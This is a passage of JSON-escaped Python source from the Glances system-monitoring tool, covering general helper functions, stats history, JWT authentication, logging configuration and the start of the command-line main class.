pass\n\nif 'json' not in globals():\n    try:\n        # Note: ujson is not officially supported\n        # Available as a fallback to allow orjson's unsupported platforms to use a faster serialization lib\n        import ujson as json\n    except ImportError:\n        import json\n\n    # To allow ujson & json dumps to serialize datetime\n    def _json_default(v: Any) -> Any:\n        if isinstance(v, datetime):\n            return v.isoformat()\n        return v\n\n    json.dumps = functools.partial(json.dumps, default=_json_default)\n\n##############\n# GLOBALS VARS\n##############\n\n# OS constants (some libraries/features are OS-dependent)\nBSD = sys.platform.find('bsd') != -1\nLINUX = sys.platform.startswith('linux')\nMACOS = sys.platform.startswith('darwin')\nSUNOS = sys.platform.startswith('sunos')\nWINDOWS = sys.platform.startswith('win')\nWSL = \"linux\" in platform.system().lower() and \"microsoft\" in platform.uname()[3].lower()\n\n# Set the AMPs, plugins and export modules path\nwork_path = os.path.realpath(os.path.dirname(__file__))\namps_path = os.path.realpath(os.path.join(work_path, 'amps'))\nplugins_path = os.path.realpath(os.path.join(work_path, 'plugins'))\nexports_path = os.path.realpath(os.path.join(work_path, 'exports'))\nsys_path = sys.path[:]\nsys.path.insert(1, exports_path)\nsys.path.insert(1, plugins_path)\nsys.path.insert(1, amps_path)\n\n# Types\ntext_type = str\nbinary_type = bytes\nbool_type = bool\nlong = int\n\n# Alias errors\nPermissionError = OSError\n\n# Alias methods\nviewkeys = methodcaller('keys')\nviewvalues = methodcaller('values')\nviewitems = methodcaller('items')\n\n# Multiprocessing start method (on POSIX system)\nif LINUX or BSD or SUNOS or MACOS:\n    ctx_mp_fork = multiprocessing.get_context('fork')\nelse:\n    ctx_mp_fork = multiprocessing.get_context()\n\n###################\n# GLOBALS FUNCTIONS\n###################\n\n\ndef printandflush(string):\n    \"\"\"Print and flush (used by stdout* outputs modules)\"\"\"\n    print(string, flush=True)\n\n\ndef to_ascii(s):\n    \"\"\"Convert the bytes string to a ASCII string\n    Useful to remove accent (diacritics)\"\"\"\n    if isinstance(s, binary_type):\n        return s.decode()\n    return s.encode('ascii', 'ignore').decode()\n\n\ndef listitems(d):\n    return list(d.items())\n\n\ndef listkeys(d):\n    return list(d.keys())\n\n\ndef listvalues(d):\n    return list(d.values())\n\n\ndef u(s, errors='replace'):\n    if isinstance(s, text_type):\n        return s\n    return s.decode('utf-8', errors=errors)\n\n\ndef b(s, errors='replace'):\n    if isinstance(s, binary_type):\n        return s\n    return s.encode('utf-8', errors=errors)\n\n\ndef nativestr(s, errors='replace'):\n    if isinstance(s, text_type):\n        return s\n    if isinstance(s, (int, float)):\n        return s.__str__()\n    return s.decode('utf-8', errors=errors)\n\n\ndef system_exec(command):\n    \"\"\"Execute a system command and return the result as a str\"\"\"\n    try:\n        res = subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode('utf-8')\n    except Exception as e:\n        res = f'ERROR: {e}'\n    return res.rstrip()\n\n\ndef subsample(data, sampling):\n    \"\"\"Compute a simple mean subsampling.\n\n    Data should be a list of numerical itervalues\n\n    Return a subsampled list of sampling length\n    \"\"\"\n    if len(data) <= sampling:\n        return data\n    sampling_length = int(round(len(data) / float(sampling)))\n    return [mean(data[s * sampling_length : (s + 1) * sampling_length]) for s in range(0, sampling)]\n\n\ndef time_series_subsample(data, sampling):\n    \"\"\"Compute a simple mean subsampling.\n\n    Data should be a list of set (time, value)\n\n    Return a subsampled list of sampling length\n    \"\"\"\n    if len(data) <= sampling:\n        return data\n    t = [t[0] for t in data]\n    v = [t[1] for t in data]\n    sampling_length = int(round(len(data) / float(sampling)))\n    t_subsampled = [t[s * sampling_length : (s + 1) * sampling_length][0] for s in range(0, sampling)]\n    v_subsampled = [mean(v[s * sampling_length : (s + 1) * sampling_length]) for s in range(0, sampling)]\n    return list(zip(t_subsampled, v_subsampled))\n\n\ndef to_fahrenheit(celsius):\n    \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n    return celsius * 1.8 + 32\n\n\ndef is_admin():\n    \"\"\"\n    https://stackoverflow.com/a/19719292\n    @return: True if the current user is an 'Admin' whatever that\n    means (root on Unix), otherwise False.\n    Warning: The inner function fails unless you have Windows XP SP2 or\n    higher. The failure causes a traceback to be printed and this\n    function to return False.\n    \"\"\"\n\n    if os.name == 'nt':\n        import ctypes\n        import traceback\n\n        # WARNING: requires Windows XP SP2 or higher!\n        try:\n            return ctypes.windll.shell32.IsUserAnAdmin()\n        except Exception as e:\n            print(f\"Admin check failed with error: {e}\")\n            traceback.print_exc()\n            return False\n    else:\n        # Check for root on Posix\n        return os.getuid() == 0\n\n\ndef key_exist_value_not_none(k, d):\n    # Return True if:\n    # - key k exists\n    # - d[k] is not None\n    return k in d and d[k] is not None\n\n\ndef key_exist_value_not_none_not_v(k, d, value='', length=None):\n    # Return True if:\n    # - key k exists\n    # - d[k] is not None\n    # - d[k] != value\n    # - if length is not None and len(d[k]) >= length\n    return k in d and d[k] is not None and d[k] != value and (length is None or len(d[k]) >= length)\n\n\ndef disable(class_name, var):\n    \"\"\"Set disable_<var> to True in the class class_name.\"\"\"\n    setattr(class_name, 'enable_' + var, False)\n    setattr(class_name, 'disable_' + var, True)\n\n\ndef enable(class_name, var):\n    \"\"\"Set disable_<var> to False in the class class_name.\"\"\"\n    setattr(class_name, 'enable_' + var, True)\n    setattr(class_name, 'disable_' + var, False)\n\n\ndef safe_makedirs(path):\n    \"\"\"A safe function for creating a directory tree.\"\"\"\n    try:\n        os.makedirs(path)\n    except OSError as err:\n        if err.errno == errno.EEXIST:\n            if not os.path.isdir(path):\n                raise\n        else:\n            raise\n\n\ndef get_time_diffs(ref, now):\n    if isinstance(ref, int):\n        diff = now - datetime.fromtimestamp(ref)\n    elif isinstance(ref, datetime):\n        diff = now - ref\n    elif not ref:\n        diff = 0\n\n    return diff\n\n\ndef get_first_true_val(conds):\n    return next(key for key, val in conds.items() if val)\n\n\ndef maybe_add_plural(count):\n    return \"s\" if count > 1 else \"\"\n\n\ndef build_str_when_more_than_seven_days(day_diff, unit):\n    scale = {'week': 7, 'month': 30, 'year': 365}[unit]\n\n    count = day_diff // scale\n\n    return str(count) + \" \" + unit + maybe_add_plural(count)\n\n\ndef pretty_date(ref, now=None):\n    \"\"\"\n    Get a datetime object or a int() Epoch timestamp and return a\n    pretty string like 'an hour ago', 'Yesterday', '3 months ago',\n    'just now', etc\n    Source: https://stackoverflow.com/questions/1551382/user-friendly-time-format-in-python\n    \"\"\"\n    now = now or datetime.now()\n    if isinstance(ref, int):\n        diff = now - datetime.fromtimestamp(ref)\n    elif isinstance(ref, datetime):\n        diff = now - ref\n    elif not ref:\n        diff = 0\n\n    second_diff = diff.seconds\n    day_diff = diff.days\n\n    if day_diff < 0:\n        return ''\n\n    # Thresholds for day_diff == 0: (max_seconds, divisor, singular, plural)\n    second_thresholds = [\n        (10, 1, \"just now\", None),\n        (60, 1, None, \" secs\"),\n        (120, 1, \"a min\", None),\n        (3600, 60, None, \" mins\"),\n        (7200, 1, \"an hour\", None),\n        (86400, 3600, None, \" hours\"),\n    ]\n\n    # Thresholds for day_diff > 0: (max_days, divisor, singular, plural)\n    day_thresholds = [\n        (2, 1, \"yesterday\", None),\n        (7, 1, \"a day\", \" days\"),\n        (31, 7, \"a week\", \" weeks\"),\n        (365, 30, \"a month\", \" months\"),\n        (float('inf'), 365, \"an year\", \" years\"),\n    ]\n\n    if day_diff == 0:\n        for max_val, divisor, singular, plural in second_thresholds:\n            if second_diff < max_val:\n                if singular and not plural:\n                    return singular\n                value = second_diff // divisor\n                return str(value) + plural\n\n    for max_val, divisor, singular, plural in day_thresholds:\n        if day_diff < max_val:\n            value = day_diff // divisor\n            if singular and (value <= 1 or not plural):\n                return singular\n            return str(value) + plural\n\n    return ''\n\n\ndef urlopen_auth(url, username, password, timeout=3):\n    \"\"\"Open a url with basic auth\"\"\"\n    return urlopen(\n        Request(\n            url,\n            headers={'Authorization': 'Basic ' + base64.b64encode(f'{username}:{password}'.encode()).decode()},\n        ),\n        timeout=timeout,\n    )\n\n\ndef json_dumps(data) -> bytes:\n    \"\"\"Return the object data in a JSON format.\n\n    Manage the issue #815 for Windows OS with UnicodeDecodeError catching.\n    \"\"\"\n    try:\n        res = json.dumps(data)\n    except UnicodeDecodeError:\n        res = json.dumps(data, ensure_ascii=False)\n    # ujson & json libs return strings, but our contract expects bytes\n    return b(res)\n\n\ndef json_loads(data: str | bytes | bytearray) -> dict | list:\n    \"\"\"Load a JSON buffer into memory as a Python object\"\"\"\n    return json.loads(data)\n\n\ndef list_to_dict(data):\n    \"\"\"Convert a list of dict (with key in 'key') to a dict with key as key and value as value.\"\"\"\n    if not isinstance(data, list):\n        return None\n    return {item[item['key']]: item for item in data if 'key' in item}\n\n\ndef dictlist(data, item):\n    if isinstance(data, dict):\n        try:\n            return {item: data[item]}\n        except (TypeError, IndexError, KeyError):\n            return None\n    elif isinstance(data, list):\n        try:\n            # Source:\n            # http://stackoverflow.com/questions/4573875/python-get-index-of-dictionary-item-in-list\n            # But https://github.com/nicolargo/glances/issues/1401\n            return {item: list(map(itemgetter(item), data))}\n        except (TypeError, IndexError, KeyError):\n            return None\n    else:\n        return None\n\n\ndef dictlist_json_dumps(data, item):\n    dl = dictlist(data, item)\n    if dl is None:\n        return None\n    return json_dumps(dl)\n\n\ndef dictlist_first_key_value(data: list[dict], key, value) -> dict | None:\n    \"\"\"In a list of dict, return first item where key=value or none if not found.\"\"\"\n    try:\n        ret = next(item for item in data if key in item and item[key] == value)\n    except StopIteration:\n        ret = None\n    return ret\n\n\ndef auto_unit(number, low_precision=False, min_symbol='K', none_symbol='-'):\n    \"\"\"Make a nice human-readable string out of number.\n\n    Number of decimal places increases as quantity approaches 1.\n    CASE: 613421788        RESULT:       585M low_precision:       585M\n    CASE: 5307033647       RESULT:      4.94G low_precision:       4.9G\n    CASE: 44968414685      RESULT:      41.9G low_precision:      41.9G\n    CASE: 838471403472     RESULT:       781G low_precision:       781G\n    CASE: 9683209690677    RESULT:      8.81T low_precision:       8.8T\n    CASE: 1073741824       RESULT:      1024M low_precision:      1024M\n    CASE: 1181116006       RESULT:      1.10G low_precision:       1.1G\n\n    :low_precision: returns less decimal places potentially (default is False)\n                    sacrificing precision for more readability.\n    :min_symbol: Do not approach if number < min_symbol (default is K)\n    :decimal_count: if set, force the number of decimal number (default is None)\n    \"\"\"\n    if number is None:\n        return none_symbol\n    symbols = ('K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y')\n    if min_symbol in symbols:\n        symbols = symbols[symbols.index(min_symbol) :]\n    prefix = {\n        'Y': 1208925819614629174706176,\n        'Z': 1180591620717411303424,\n        'E': 1152921504606846976,\n        'P': 1125899906842624,\n        'T': 1099511627776,\n        'G': 1073741824,\n        'M': 1048576,\n        'K': 1024,\n    }\n\n    if number == 0:\n        # Avoid 0.0\n        return '0'\n\n    # If a value is a float, decimal_precision is 2 else 0\n    decimal_precision = 2 if isinstance(number, float) else 0\n    for symbol in reversed(symbols):\n        value = float(number) / prefix[symbol]\n        if value > 1:\n            decimal_precision = 0\n            if value < 10:\n                decimal_precision = 2\n            elif value < 100:\n                decimal_precision = 1\n            if low_precision:\n                if symbol in 'MK':\n                    decimal_precision = 0\n                else:\n                    decimal_precision = min(1, decimal_precision)\n            elif symbol in 'K':\n                decimal_precision = 0\n            return '{:.{decimal}f}{symbol}'.format(value, decimal=decimal_precision, symbol=symbol)\n\n    return f'{number:.{decimal_precision}f}'\n\n\ndef string_value_to_float(s):\n    \"\"\"Convert a string with a value and an unit to a float.\n    Example:\n    '12.5 MB' -> 12500000.0\n    '32.5 GB' -> 32500000000.0\n    Args:\n        s (string): Input string with value and unit\n    Output:\n        float: The value in float\n    \"\"\"\n    convert_dict = {\n        None: 1,\n        'B': 1,\n        'KB': 1000,\n        'MB': 1000000,\n        'GB': 1000000000,\n        'TB': 1000000000000,\n        'PB': 1000000000000000,\n    }\n    unpack_string = [\n        i[0] if i[1] == '' else i[1].upper() for i in re.findall(r'([\\d.]+)|([^\\d.]+)', s.replace(' ', ''))\n    ]\n    if len(unpack_string) == 2:\n        value, unit = unpack_string\n    elif len(unpack_string) == 1:\n        value = unpack_string[0]\n        unit = None\n    else:\n        return None\n    try:\n        value = float(unpack_string[0])\n    except ValueError:\n        return None\n    return value * convert_dict[unit]\n\n\ndef file_exists(filename):\n    \"\"\"Return True if the file exists and is readable.\"\"\"\n    return os.path.isfile(filename) and os.access(filename, os.R_OK)\n\n\ndef folder_size(path, errno=0):\n    \"\"\"Return a tuple with the size of the directory given by path and the errno.\n    If an error occurs (for example one file or subfolder is not accessible),\n    errno is set to the error number.\n\n    path: <string>\n    errno: <int> Should always be 0 when calling the function\"\"\"\n    ret_size = 0\n    ret_err = errno\n    try:\n        for f in os.scandir(path):\n            if f.is_dir(follow_symlinks=False) and (f.name != '.' or f.name != '..'):\n                ret = folder_size(os.path.join(path, f.name), ret_err)\n                ret_size += ret[0]\n                ret_err = ret[1]\n            else:\n                try:\n                    ret_size += f.stat().st_size\n                except OSError as e:\n                    ret_err = e.errno\n    except (OSError, PermissionError) as e:\n        return 0, e.errno\n    else:\n        return ret_size, ret_err\n\n\ndef _get_ttl_hash(ttl):\n    \"\"\"A simple (dummy) function to return a hash based on the current second.\n    TODO: Implement a real TTL mechanism.\n    \"\"\"\n    if ttl is None:\n        return 0\n    now = datetime.now()\n    return now.second\n\n\ndef weak_lru_cache(maxsize=1, typed=False, ttl=None):\n    \"\"\"LRU Cache decorator that keeps a weak reference to self\n\n    Warning: When used in a class, the class should implement __eq__(self, other) and __hash__(self) methods\n\n    Source: https://stackoverflow.com/a/55990799\"\"\"\n\n    def wrapper(func):\n        @functools.lru_cache(maxsize, typed)\n        def _func(_self, *args, ttl_hash=None, **kwargs):\n            del ttl_hash  # Unused parameter, but kept for compatibility\n            return func(_self(), *args, **kwargs)\n\n        @functools.wraps(func)\n        def inner(self, *args, **kwargs):\n            return _func(weakref.ref(self), *args, ttl_hash=_get_ttl_hash(ttl), **kwargs)\n\n        return inner\n\n    return wrapper\n\n\ndef namedtuple_to_dict(data):\n    \"\"\"Convert a namedtuple to a dict, using the _asdict() method embedded in PsUtil stats.\"\"\"\n    return {k: (v._asdict() if hasattr(v, '_asdict') else v) for k, v in list(data.items())}\n\n\ndef list_of_namedtuple_to_list_of_dict(data):\n    \"\"\"Convert a list of namedtuples to a dict, using the _asdict() method embedded in PsUtil stats.\"\"\"\n    return [namedtuple_to_dict(d) for d in data]\n\n\ndef replace_special_chars(input_string, by=' '):\n    \"\"\"Replace some special char by another in the input_string\n    Return: the string with the chars replaced\"\"\"\n    return input_string.replace('\\r\\n', by).replace('\\n', by).replace('\\t', by)\n\n\ndef atoi(text):\n    return int(text) if text.isdigit() else text\n\n\ndef natural_keys(text):\n    \"\"\"Return a text in a natural/human readable format.\"\"\"\n    return [atoi(c) for c in re.split(r'(\\d+)', text)]\n\n\ndef exit_after(seconds, default=None):\n    \"\"\"Exit the function if it takes more than 'seconds' seconds to complete.\n    In this case, return the value of 'default' (default: None).\"\"\"\n\n    def handler(q, func, args, kwargs):\n        q.put(func(*args, **kwargs))\n\n    def decorator(func):\n        if not LINUX:\n            return func\n\n        def wraps(*args, **kwargs):\n            try:\n                q = ctx_mp_fork.Queue()\n            except PermissionError:\n                # Manage an exception in Snap packages on Linux\n                # The strict mode prevent the use of multiprocessing.Queue()\n                # There is a \"dirty\" hack:\n                # https://forum.snapcraft.io/t/python-multiprocessing-permission-denied-in-strictly-confined-snap/15518/2\n                # But i prefer to just disable the timeout feature in this case\n                func(*args, **kwargs)\n            else:\n                p = ctx_mp_fork.Process(target=handler, args=(q, func, args, kwargs))\n                p.start()\n                p.join(timeout=seconds)\n                if not p.is_alive():\n                    return q.get()\n                p.terminate()\n                p.join(timeout=0.1)\n                if p.is_alive():\n                    # Kill in case processes doesn't terminate\n                    # Happens with cases like broken NFS connections\n                    p.kill()\n            return default\n\n        return wraps\n\n    return decorator\n\n\ndef _validate_split_esc_params(input_string, sep, maxsplit, esc):\n    \"\"\"Validate split_esc parameters and return early result if possible.\"\"\"\n    if not isinstance(input_string, str):\n        raise TypeError(f'must be str, not {input_string.__class__.__name__}')\n    str.split('', sep=sep, maxsplit=maxsplit)  # Use str.split to validate sep and maxsplit\n    if esc is None:\n        return input_string.split(sep=sep, maxsplit=maxsplit)\n    if not isinstance(esc, str):\n        raise TypeError(f'must be str or None, not {esc.__class__.__name__}')\n    if len(esc) == 0:\n        raise ValueError('empty escape character')\n    if len(esc) > 1:\n        raise ValueError('escape must be a single character')\n    return None\n\n\ndef _skip_whitespace(input_string, i):\n    \"\"\"Return the number of whitespace characters to skip starting at position i.\"\"\"\n    n = 1\n    while i + n + 1 < len(input_string) and input_string[i + n : i + n + 1].isspace():\n        n += 1\n    return n\n\n\ndef split_esc(input_string, sep=None, maxsplit=-1, esc='\\\\'):\n    \"\"\"\n    Return a list of the substrings in the input_string, using sep as the separator char\n    and esc as the escape character.\n\n    sep\n        The separator used to split the input_string.\n\n        When set to None (the default value), will split on any whitespace\n        character (including \\n \\r \\t \\f and spaces) unless the character is escaped\n        and will discard empty strings from the result.\n    maxsplit\n        Maximum number of splits.\n        -1 (the default value) means no limit.\n    esc\n        The character used to escape the separator.\n\n        When set to None, this behaves equivalently to `str.split`.\n        Defaults to '\\\\\\\\' i.e. backslash.\n\n    Splitting starts at the front of the input_string and works to the end.\n\n    Note: escape characters in the substrings returned are removed. However, if\n    maxsplit is reached, escape characters in the remaining, unprocessed substring\n    are not removed, which allows split_esc to be called on it again.\n    \"\"\"\n    # Input validation\n    early_result = _validate_split_esc_params(input_string, sep, maxsplit, esc)\n    if early_result is not None:\n        return early_result\n\n    # Set up a simple state machine keeping track of whether we have seen an escape character\n    ret, esc_seen, i = [''], False, 0\n    while i < len(input_string) and len(ret) - 1 != maxsplit:\n        if not esc_seen:\n            if input_string[i] == esc:\n                # Consume the escape character and transition state\n                esc_seen = True\n                i += 1\n            elif sep is None and input_string[i].isspace():\n                # Consume as much whitespace as possible\n                n = _skip_whitespace(input_string, i)\n                ret.append('')\n                i += n\n            elif sep is not None and input_string[i : i + len(sep)] == sep:\n                # Consume the separator\n                ret.append('')\n                i += len(sep)\n            else:\n                # Otherwise just add the current char\n                ret[-1] += input_string[i]\n                i += 1\n        else:\n            # Add the current char and transition state back\n            ret[-1] += input_string[i]\n            esc_seen = False\n            i += 1\n\n    # Append any remaining string if we broke early because of maxsplit\n    if i < len(input_string):\n        ret[-1] += input_string[i:]\n\n    # If splitting on whitespace, discard empty strings from result\n    if sep is None:\n        ret = [sub for sub in ret if len(sub) > 0]\n\n    return ret\n\n\ndef get_ip_address(ipv6=False):\n    \"\"\"Get current IP address and netmask as a tuple.\"\"\"\n    family = socket.AF_INET6 if ipv6 else socket.AF_INET\n\n    # Get IP address\n    stats = psutil.net_if_stats()\n    addrs = psutil.net_if_addrs()\n\n    ip_address = None\n    ip_netmask = None\n    for interface, stat in stats.items():\n        if stat.isup and interface != 'lo':\n            if interface in addrs:\n                for addr in addrs[interface]:\n                    if addr.family == family:\n                        ip_address = addr.address\n                        ip_netmask = addr.netmask\n                        break\n\n    return ip_address, ip_netmask\n\n\ndef get_default_gateway(ipv6=False):\n    \"\"\"Get the default gateway IP address.\"\"\"\n\n    def convert_ipv4(gateway_hex):\n        \"\"\"Convert IPv4 hex (little-endian) to dotted notation.\"\"\"\n        return '.'.join(str(int(gateway_hex[i : i + 2], 16)) for i in range(6, -1, -2))\n\n    def convert_ipv6(gateway_hex):\n        \"\"\"Convert IPv6 hex to colon notation.\"\"\"\n        return ':'.join(gateway_hex[i : i + 4] for i in range(0, 32, 4))\n\n    if ipv6:\n        route_file = '/proc/net/ipv6_route'\n        default_dest = '00000000000000000000000000000000'\n        dest_field = 0\n        gateway_field = 4\n        converter = convert_ipv6\n    else:\n        route_file = '/proc/net/route'\n        default_dest = '00000000'\n        dest_field = 1\n        gateway_field = 2\n        converter = convert_ipv4\n\n    try:\n        with open(route_file) as f:\n            for line in f:\n                fields = line.strip().split()\n                if fields[dest_field] == default_dest:\n                    return converter(fields[gateway_field])\n    except (FileNotFoundError, IndexError, ValueError):\n        return None\n    return None\n"
  },
  {
    "path": "glances/history.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage stats history\"\"\"\n\nfrom glances.attribute import GlancesAttribute\n\n\nclass GlancesHistory:\n    \"\"\"This class manage a dict of GlancesAttribute\n    - key: stats name\n    - value: GlancesAttribute\"\"\"\n\n    def __init__(self):\n        \"\"\"\n        items_history_list: list of stats to historized (define inside plugins)\n        \"\"\"\n        self.stats_history = {}\n\n    def add(self, key, value, description='', history_max_size=None):\n        \"\"\"Add an new item (key, value) to the current history.\"\"\"\n        if key not in self.stats_history:\n            self.stats_history[key] = GlancesAttribute(key, description=description, history_max_size=history_max_size)\n        self.stats_history[key].value = value\n\n    def reset(self):\n        \"\"\"Reset all the stats history\"\"\"\n        for a in self.stats_history:\n            self.stats_history[a].history_reset()\n\n    def get(self, nb=0):\n        \"\"\"Get the history as a dict of list\"\"\"\n        return {i: self.stats_history[i].history_raw(nb=nb) for i in self.stats_history}\n\n    def get_json(self, nb=0):\n        \"\"\"Get the history as a dict of list (with list JSON compliant)\"\"\"\n        return {i: self.stats_history[i].history_json(nb=nb) for i in self.stats_history}\n"
  },
  {
    "path": "glances/jwt_utils.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2026 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"JWT utilities for Glances REST API authentication.\"\"\"\n\nimport secrets\nfrom datetime import datetime, timedelta, timezone\n\nfrom glances.logger import logger\n\n# JWT library import with fallback\ntry:\n    from jose import JWTError, jwt\n\n    JWT_AVAILABLE = True\nexcept ImportError:\n    JWT_AVAILABLE = False\n    JWTError = Exception  # Placeholder\n\n\nclass JWTHandler:\n    \"\"\"Handle JWT token creation and validation.\"\"\"\n\n    # Algorithm for JWT signing\n    ALGORITHM = \"HS256\"\n\n    def __init__(self, secret_key: str | None = None, expire_minutes: int = 60):\n        \"\"\"Initialize JWT handler.\n\n        Args:\n            secret_key: Secret key for signing tokens. If None, generates a random key.\n            expire_minutes: Token expiration time in minutes (default: 60)\n        \"\"\"\n        if not JWT_AVAILABLE:\n            logger.warning(\"python-jose library not available. JWT authentication disabled.\")\n            self._secret_key = None\n        else:\n            # Use provided key or generate a secure random key\n            self._secret_key = secret_key or secrets.token_urlsafe(32)\n            if secret_key is None:\n                logger.info(\"JWT secret key generated (valid for this server instance only)\")\n\n        self._expire_minutes = expire_minutes\n\n    @property\n    def is_available(self) -> bool:\n        \"\"\"Check if JWT functionality is available.\"\"\"\n        return JWT_AVAILABLE and self._secret_key is not None\n\n    @property\n    def expire_minutes(self) -> int:\n        \"\"\"Return the token expiration time in minutes.\"\"\"\n        return self._expire_minutes\n\n    def create_access_token(self, username: str) -> str:\n        \"\"\"Create a JWT access token for the given username.\n\n        Args:\n            username: The username to encode in the token\n\n        Returns:\n            Encoded JWT token string\n\n        Raises:\n            RuntimeError: If JWT is not available\n        \"\"\"\n        if not self.is_available:\n            raise RuntimeError(\"JWT authentication is not available\")\n\n        expire = datetime.now(timezone.utc) + timedelta(minutes=self._expire_minutes)\n        to_encode = {\n            \"sub\": username,\n            \"exp\": expire,\n            \"iat\": datetime.now(timezone.utc),\n            \"iss\": \"glances\",\n        }\n        return jwt.encode(to_encode, self._secret_key, algorithm=self.ALGORITHM)\n\n    def verify_token(self, token: str) -> str | None:\n        \"\"\"Verify a JWT token and extract the username.\n\n        Args:\n            token: The JWT token to verify\n\n        Returns:\n            Username if valid, None otherwise\n        \"\"\"\n        if not self.is_available:\n            return None\n\n        try:\n            payload = jwt.decode(token, self._secret_key, algorithms=[self.ALGORITHM])\n            username: str = payload.get(\"sub\")\n            if username is None:\n                return None\n            return username\n        except JWTError as e:\n            logger.debug(f\"JWT verification failed: {e}\")\n            return None\n"
  },
  {
    "path": "glances/logger.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Custom logger class.\"\"\"\n\nimport getpass\nimport json\nimport logging\nimport logging.config\nimport os\nimport tempfile\n\nfrom glances.globals import safe_makedirs\n\n# Choose the good place for the log file (see issue #1575)\n# Default root path\nif 'HOME' in os.environ:\n    _XDG_CACHE_HOME = os.path.join(os.environ['HOME'], '.local', 'share')\nelse:\n    _XDG_CACHE_HOME = ''\n# Define the glances log file\nif (\n    'XDG_CACHE_HOME' in os.environ\n    and os.path.isdir(os.environ['XDG_CACHE_HOME'])\n    and os.access(os.environ['XDG_CACHE_HOME'], os.W_OK)\n):\n    safe_makedirs(os.path.join(os.environ['XDG_CACHE_HOME'], 'glances'))\n    LOG_FILENAME = os.path.join(os.environ['XDG_CACHE_HOME'], 'glances', 'glances.log')\nelif os.path.isdir(_XDG_CACHE_HOME) and os.access(_XDG_CACHE_HOME, os.W_OK):\n    safe_makedirs(os.path.join(_XDG_CACHE_HOME, 'glances'))\n    LOG_FILENAME = os.path.join(_XDG_CACHE_HOME, 'glances', 'glances.log')\nelse:\n    LOG_FILENAME = os.path.join(tempfile.gettempdir(), f'glances-{getpass.getuser()}.log')\n\n# Define the logging configuration\nLOGGING_CFG = {\n    \"version\": 1,\n    \"disable_existing_loggers\": \"False\",\n    \"root\": {\"level\": \"INFO\", \"handlers\": [\"file\", \"console\"]},\n    \"formatters\": {\n        \"standard\": {\"format\": \"%(asctime)s -- %(levelname)s -- %(message)s\"},\n        \"short\": {\"format\": \"%(levelname)s -- %(message)s\"},\n        \"long\": {\"format\": \"%(asctime)s -- %(levelname)s -- %(message)s (%(funcName)s in %(filename)s)\"},\n        \"free\": {\"format\": \"%(message)s\"},\n    },\n    \"handlers\": {\n        \"file\": {\n            \"level\": \"DEBUG\",\n            \"class\": \"logging.handlers.RotatingFileHandler\",\n            \"maxBytes\": 1000000,\n            \"backupCount\": 3,\n            \"formatter\": \"standard\",\n            \"filename\": LOG_FILENAME,\n        },\n        \"console\": {\"level\": \"CRITICAL\", \"class\": \"logging.StreamHandler\", \"formatter\": \"free\"},\n    },\n    \"loggers\": {\n        \"debug\": {\"handlers\": [\"file\", \"console\"], \"level\": \"DEBUG\"},\n        \"verbose\": {\"handlers\": [\"file\", \"console\"], \"level\": \"INFO\"},\n        \"standard\": {\"handlers\": [\"file\"], \"level\": \"INFO\"},\n        \"requests\": {\"handlers\": [\"file\", \"console\"], \"level\": \"ERROR\"},\n        \"elasticsearch\": {\"handlers\": [\"file\", \"console\"], \"level\": \"ERROR\"},\n        \"elasticsearch.trace\": {\"handlers\": [\"file\", \"console\"], \"level\": \"ERROR\"},\n    },\n}\n\n\ndef glances_logger(env_key='LOG_CFG'):\n    \"\"\"Build and return the logger.\n\n    env_key define the env var where a path to a specific JSON logger\n            could be defined\n\n    :return: logger -- Logger instance\n    \"\"\"\n    _logger = logging.getLogger()\n\n    # By default, use the LOGGING_CFG logger configuration\n    config = LOGGING_CFG\n\n    # Check if a specific configuration is available\n    user_file = os.getenv(env_key, None)\n    if user_file and os.path.exists(user_file):\n        # A user file as been defined. Use it...\n        with open(user_file) as f:\n            config = json.load(f)\n\n    # Load the configuration\n    logging.config.dictConfig(config)\n\n    return _logger\n\n\nlogger = glances_logger()\n"
  },
  {
    "path": "glances/main.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Glances main class.\"\"\"\n\nimport argparse\nimport sys\nimport tempfile\nfrom logging import DEBUG\nfrom warnings import simplefilter\n\ntry:\n    import shtab\nexcept ImportError:\n    shtab_tag = False\nelse:\n    shtab_tag = True\n\nfrom glances import __apiversion__, __version__, psutil_version\nfrom glances.config import Config\nfrom glances.globals import WINDOWS, disable, enable\nfrom glances.logger import LOG_FILENAME, logger\nfrom glances.processes import sort_processes_stats_list\n\n\nclass GlancesMain:\n    \"\"\"Main class to manage Glances instance.\"\"\"\n\n    # Default stats' minimum refresh time is 2 seconds\n    DEFAULT_REFRESH_TIME = 2\n    # Set the default cache lifetime to 1 second (only for server)\n    cached_time = 1\n    # By default, Glances is ran in standalone mode (no client/server)\n    client_tag = False\n    # Server TCP port number (default is 61209)\n    server_port = 61209\n    # Web Server TCP port number (default is 61208)\n    web_server_port = 61208\n    # Default username/password for client/server mode\n    username = \"glances\"\n    password = \"\"\n\n    # Examples of use\n    example_of_use = \"\"\"\nExamples of use:\n  Monitor local machine (standalone mode):\n    $ glances\n\n  Display all Glances modules (plugins and exporters) and exit:\n    $ glances --module-list\n\n  Monitor local machine with the Web interface and start RESTful server:\n    $ glances -w\n    Glances web server started on http://0.0.0.0:61208/\n\n  Only start RESTful API (without the WebUI):\n    $ glances -w --disable-webui\n    Glances API available on http://0.0.0.0:61208/api/\n\n  Monitor local machine and export stats to a CSV file (standalone mode):\n    $ glances --export csv --export-csv-file /tmp/glances.csv\n\n  Monitor local machine and export stats to a InfluxDB server with 5s refresh rate (standalone mode):\n    $ glances -t 5 --export influxdb\n\n  Start a Glances XML-RPC server (server mode):\n    $ glances -s\n\n  Connect Glances to a Glances XML-RPC server (client mode):\n    $ glances -c <ip_server>\n\n  Connect Glances to a Glances server and export stats to a StatsD server (client mode):\n    $ glances -c <ip_server> --export statsd\n\n  Start TUI Central Glances Browser:\n    $ glances 